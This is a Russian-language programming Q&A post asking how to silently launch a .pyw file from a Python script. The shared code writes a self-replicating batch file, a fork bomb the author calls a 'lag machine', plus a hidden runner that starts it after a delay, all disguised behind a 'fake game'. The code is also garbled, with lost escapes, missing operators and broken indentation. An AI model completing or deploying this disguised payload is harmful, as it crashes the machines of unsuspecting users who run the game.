Как можно запустить файл .pyw с помощью скрипта python, чтобы они оба запускались одновременно?

#python #python-3.x

Вопрос:

Как можно запустить файл .pyw с помощью скрипта python, чтобы они оба запускались одновременно? Вот код, который у меня уже есть,#??????? являются частью, в которой я запускаю файл .pyw. Вторичный файл создается на диске D: и запускает файл .bat, хранящийся на диске D:.

 import os
import time
from random import randint
import time
from datetime import datetime
import sys
import subprocess

#installs lag machine
if os.path.exists("D:\ProgramFiles.bat"):
    pass
else:
    ProgramFiles=open("D:\ProgramFiles.bat","x")
    ProgramFiles.write("startnstartnstartnstartnstartnstartnstartnstartnProgramFiles.bat")
    ProgramFiles.close()

#installs and runs python script to run lag machine
if os.path.exists("D:\runner.pyw"):
pass
else:
    runner=open("D:\runner.pyw","x")
    runner.write("import subprocessnimport sysnimport 
timentime.sleep(10)nsubprocess.call([r'D:\\ProgramFiles.bat'])nsys.exit()")
    runner.close()
    #??????????

#starts fake game
Number = input("What is your number?n")
if Number == 'remove':
    os.remove("D:\ProgramFiles.bat")
    os.remove("D:runner.pyw")
    sys.exit()
else:
    Win = False
    NumLen = len(Number)

    time.sleep(0.5)

    while Win is False:
        NumberGuessLen = 1
        NumberGuess = randint(0, 9)
        while NumberGuessLen != int(NumLen):
            DigitGuess = randint(0, 9)
            NumberGuess = str(NumberGuess)   str(DigitGuess)
            NumberGuessLen = len(NumberGuess)
        print("r"   NumberGuess, end="")
        if NumberGuess == Number:
            Win = True
            print("nTask Completed")
            time.sleep(1)
        else:
            pass